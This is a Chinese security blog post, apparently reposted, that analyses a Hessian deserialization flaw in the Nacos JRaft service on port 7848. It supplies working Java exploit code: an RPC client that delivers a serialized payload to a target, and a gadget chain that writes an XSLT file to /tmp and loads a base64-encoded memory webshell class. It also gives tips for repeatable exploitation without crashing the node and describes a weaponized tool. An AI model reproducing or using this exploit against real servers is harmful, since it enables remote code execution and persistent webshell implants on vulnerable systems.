Nacos JRaft Hessian 反序列化分析详情

admin 2023年6月16日00:00:59评论113 views字数 8501阅读28分20秒阅读模式

声明:Poker安全公众号文中涉及到的技术和工具,仅供学习交流使用,禁止从事任何非法活动,如因此造成的直接或间接损失,均由使用者自行承担责任。

0x00 前言

5月25日 Nacos 发布一条安全公告,声称其在 2.2.3 和 1.4.6 两个大版本修复了 7848 端口下一处 Hessian 反序列化漏洞;网上有许多分析,但没有一篇分析能够把问题阐述清楚且解决掉,于是写下这篇文章,仅做记录。

0x01 漏洞分析

既然是 Hessian 反序列化,第一步要做的是查找对应的反序列化触发点,在项目中搜索 Hessian 可得到如下结果:

Nacos JRaft Hessian 反序列化分析详情

挨个查看后发现 HessianSerializer 是实际反序列化的触发点,但代码中不会直接调用它,而是通过 SerializeFactory 根据预期的反序列化漏洞(JSON、Hessian)获取实际的反序列化实现类,默认的反序列化实现为 HessianSerializer:

public class SerializeFactory {
public static final String HESSIAN_INDEX = "Hessian".toLowerCase();
private static final Map<String, Serializer> SERIALIZER_MAP = new HashMap<>(4);
public static String defaultSerializer = HESSIAN_INDEX;
static { Serializer serializer = new HessianSerializer(); SERIALIZER_MAP.put(HESSIAN_INDEX, serializer); for (Serializer item : NacosServiceLoader.load(Serializer.class)) { SERIALIZER_MAP.put(item.name().toLowerCase(), item); } }
public static Serializer getDefault() { return SERIALIZER_MAP.get(defaultSerializer); }
public static Serializer getSerializer(String type) { return SERIALIZER_MAP.get(type.toLowerCase()); }}

搜索发现代码中并没有调用 getSerializer(“Hessian”) 的操作,因此转而继续搜索 SerializeFactory.getDefault(),得到如下结果:

Nacos JRaft Hessian 反序列化分析详情

继续分析后发现 JRaftProtocol、JRaftServer 等都不是实际的触发点,它们并不会调用serializer.deserialize方法,实际调用的只有 PersistentClientOperationServiceImpl、ServiceMetadataProcessor、InstanceMetadataProcessor、DistributedDatabaseOperateImpl四个类。

观察后发现这几个类有几个共同点,比如都继承了 RequestProcessor4CP,并且都实现了 onApply、onRequest、group 这三个方法,根据之前审代码的经验,基本可以确定 Nacos 是根据 group 方法对应的 groupId 决定请求是下发给哪个类进行处理

Nacos JRaft Hessian 反序列化分析详情Nacos JRaft Hessian 反序列化分析详情接下来的过程很痛苦,大致就是知道漏洞在哪,但不知道怎么调过去,最后参考了网上诸多文章,终于写出了个客户端 Demo:

import com.alibaba.nacos.consistency.entity.GetRequest;import com.alibaba.nacos.consistency.entity.WriteRequest;import com.alipay.sofa.jraft.option.CliOptions;import com.alipay.sofa.jraft.rpc.RpcClient;import com.alipay.sofa.jraft.rpc.impl.MarshallerHelper;import com.alipay.sofa.jraft.rpc.impl.cli.CliClientServiceImpl;import com.alipay.sofa.jraft.util.Endpoint;import com.caucho.hessian.io.Hessian2Output;import com.google.protobuf.ByteString;import com.google.protobuf.Message;
import java.io.ByteArrayOutputStream;import java.lang.reflect.Field;import java.util.Map;
public class JRaftClient { public static void main(String[] args)throws Exception { final CliClientServiceImpl cliClientService = new CliClientServiceImpl(); cliClientService.init(new CliOptions()); setProperties(cliClientService.getRpcClient());
WriteRequest.Builder writeRequestBuilder = WriteRequest.newBuilder().setGroup("naming_service_metadata").setData(serialize("hessian_payload_object")); Object o = cliClientService.getRpcClient().invokeSync(new Endpoint("172.16.0.8", 7848), writeRequestBuilder.build(), 10000); }
@SuppressWarnings("unchecked") public static void setProperties(RpcClient rpcClient) throws Exception { Field parserClasses = rpcClient.getClass().getDeclaredField("parserClasses"); parserClasses.setAccessible(true); Map<String, Message> map = (Map<String, Message>) parserClasses.get(rpcClient); map.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance()); map.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance());
Field messages = MarshallerHelper.class.getDeclaredField("messages"); messages.setAccessible(true); Map<String, Message> messageMap = (Map<String, Message>) messages.get(MarshallerHelper.class); messageMap.put("com.alibaba.nacos.consistency.entity.WriteRequest", WriteRequest.getDefaultInstance()); messageMap.put("com.alibaba.nacos.consistency.entity.GetRequest", GetRequest.getDefaultInstance()); }
public static ByteString serialize(Object o) throws Exception { ByteArrayOutputStream bos = new ByteArrayOutputStream(); Hessian2Output out = new Hessian2Output(bos); out.getSerializerFactory().setAllowNonSerializable(true); out.writeObject(o); out.close();
return ByteString.copyFrom(bos.toByteArray()); }}

其中 WriteRequest 那段的 setData 则是用来设置反序列化的 payload,最终触发 Hessian 反序列化:

Nacos JRaft Hessian 反序列化分析详情

0x02 漏洞利用

上面是完整的漏洞原理分析,接下来解决一些网上说的普遍存在的问题。

2.0 无损利用原理

网传这个漏洞最大的问题就是打一次就崩,那么到底是为什么打一次就崩呢?经过深入分析发现,Nacos 在反序列化时并没有使用异常处理,导致 Hessian 反序列化后的对象与预期的对象不符,此时产生对象转换异常。

Nacos JRaft Hessian 反序列化分析详情

产生异常后会将当前节点的状态设置为 STATE_ERROR,回溯历史调用栈发现 AbstractProcessor 会先获取 group 对应的 Node,并判断 Node 是否为 leaderNode,如果不是则返回错误,反之才会调用 execute 方法继续往下走。

Nacos JRaft Hessian 反序列化分析详情

如果某个 Node 在反序列化时产生异常,则其状态为 State.STATE_ERROR,不符合 isLeader 的逻辑,因此无法正常服务:

Nacos JRaft Hessian 反序列化分析详情

那么应该如何解决这个问题呢,观察反序列化的代码可以发现预期是希望返回 MetadataOperation 对象:

MetadataOperation<ServiceMetadata> op = (MetadataOperation)this.serializer.deserialize(request.getData().toByteArray(), this.processType);

这个对象有一个属性 metadata 是泛型,也就是它是任意类型都可以,所以不难想到我们可以构造一个 MetadataOperation 对象,并在其 metadata 属性设置恶意对象,这样设置可以让反序列化后的对象符合预期,不会产生报错,此时 Node 不触发异常,后续即可正常服务。

2.1 更加通用的 gadget

网传使用的 gadget 一般是 JNDI、BCEL,因为 JNDI 需要出网,且 BCELClassLoader 在 8.x 的较高版本中不存在了,因此算不上是比较完美的利用。那么就没有完美的利用了吗?其实并不是,通过 BCEL + 写文件就可以实现一个比较通用的解法。

利用 SwingLazyValue 结合 com.sun.org.apache.xml.internal.security.utils.JavaUtils 和 com.sun.org.apache.xalan.internal.xslt.Process 可以写入本地文件后通过 XSLT 加载最终实现不出网的任意代码执行

相关代码:

import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import sun.swing.SwingLazyValue;
import javax.swing.*;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Hashtable;import java.util.Random;
public class HessianPayload {
final static String xsltTemplate = "<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"n" + "xmlns:b64="http://xml.apache.org/xalan/java/sun.misc.BASE64Decoder"n" + "xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"n" + "xmlns:th="http://xml.apache.org/xalan/java/java.lang.Thread"n" + "xmlns:ru="http://xml.apache.org/xalan/java/org.springframework.cglib.core.ReflectUtils"n" + ">n" + " <xsl:template match="/">n" + " <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'<base64_payload>')"/>n" + " <xsl:variable name="cl" select="th:getContextClassLoader(th:currentThread())"/>n" + " <xsl:variable name="rce" select="ru:defineClass('<class_name>',$bs,$cl)"/>n" + " <xsl:value-of select="$rce"/>n" + " </xsl:template>n" + " </xsl:stylesheet>";
public static String genClassName() { Random random = new Random(); int length = random.nextInt(10) + 1; // 随机生成字符串的长度,范围从1到10 StringBuilder sb = new StringBuilder(length); for (int i = 0; i < length; i++) { char c = (char) (random.nextInt('z' - 'a') + 'a'); // 生成随机字符,范围从a到z sb.append(c); } return sb.toString(); }
public static HashMap<Object, Object> makeMap(Object v1, Object v2) throws Exception { HashMap<Object, Object> s = new HashMap<>(); Reflections.setFieldValue(s, "size", 2); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s; }
public static Object genPayload(String payloadType) throws Exception { SwingLazyValue value = null; if (payloadType.equals("writeFile")) { ClassPool cp = ClassPool.getDefault(); cp.insertClassPath(new ClassClassPath(MemShell.class)); CtClass cc = cp.get(MemShell.class.getName()); cc.setName(genClassName()); byte[] bs = cc.toBytecode(); String base64Code = new sun.misc.BASE64Encoder().encode(bs).replaceAll("n", ""); String xslt = xsltTemplate.replace("<base64_payload>", base64Code).replace("<class_name>", cc.getName()); value = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/nacos_data_temp", xslt.getBytes()}); } else if (payloadType.equals("xslt")) { value = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "file:///tmp/nacos_data_temp"}}); }

UIDefaults uiDefaults = new UIDefaults(); uiDefaults.put(value, value);
Hashtable<Object, Object> hashtable = new Hashtable<>(); hashtable.put(value, value);
return makeMap(uiDefaults, hashtable); }}

但这也产生了一个不算问题的问题,即我们需要打两次反序列化才能走完所有的流程。

2.2 一个 Hessian 反序列化技巧

2.1 中介绍的 XSLT 反序列加载本地文件正常情况下需要发两次包触发两次 Hessian 反序列才能实现代码执行,大哥教了我一个方法可以在一个请求内触发所有的 payload(不依赖于 gadget 本身):

Nacos JRaft Hessian 反序列化分析详情

原理是自己修改实现类的代码,把原类从 lib 中删除,自定义的增加几个 Object 类型的属性,在 Server 进行反序列化时也会将这几个属性一块反序列化了,这部分涉及到 Hessian 对字节数组的解析逻辑,不在这篇文章中分析了。

2.3 探明 “真正” 的漏洞影响范围

网上许多应急文章都有传 Nacos 1.x 也受影响,经过深入分析后发现这可能是一次误判;这里说的误判不代表 Nacos 在 1.x 不存在 Hessian 反序列化的隐患,只是说无法正常利用。

对 1.4.x 进行分析后发现,调用了 SerializeFactory.getDefault()#deserialize 方法的只有 DistributedDatabaseOperateImpl 这一个类,其它的都是利用 Jackson 实现的反序列化。

DistributedDatabaseOperateImpl 对应的 groupId 为 nacos_config,实测发现我们是无法通过 RPC 调到这个 groupId 对应的 onApply 方法的,因此自然也不存在 Hessian 反序列化漏洞的利用。

0x03 武器化

我基于上面漏洞利用的原理编写了一个漏洞利用工具,输入 ip、webPort、raftPort、groupId 即可返还给你一个内存马。

完整流程为:通过 web 获取 Nacos 版本并与受影响的版本进行匹配 -> 发起 RPC 请求触发反序列化 -> 遍历线程中马。

Nacos JRaft Hessian 反序列化分析详情

对于不存在漏洞的版本输出提示:

Nacos JRaft Hessian 反序列化分析详情

原文链接为

https://exp.ci/post/Nacos-JRaft-Hessian-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%88%86%E6%9E%90.html


原文始发于微信公众号(Poker安全):Nacos JRaft Hessian 反序列化分析详情

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月16日00:00:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos JRaft Hessian 反序列化分析详情https://cn-sec.com/archives/1811573.html

发表评论

匿名网友 填写信息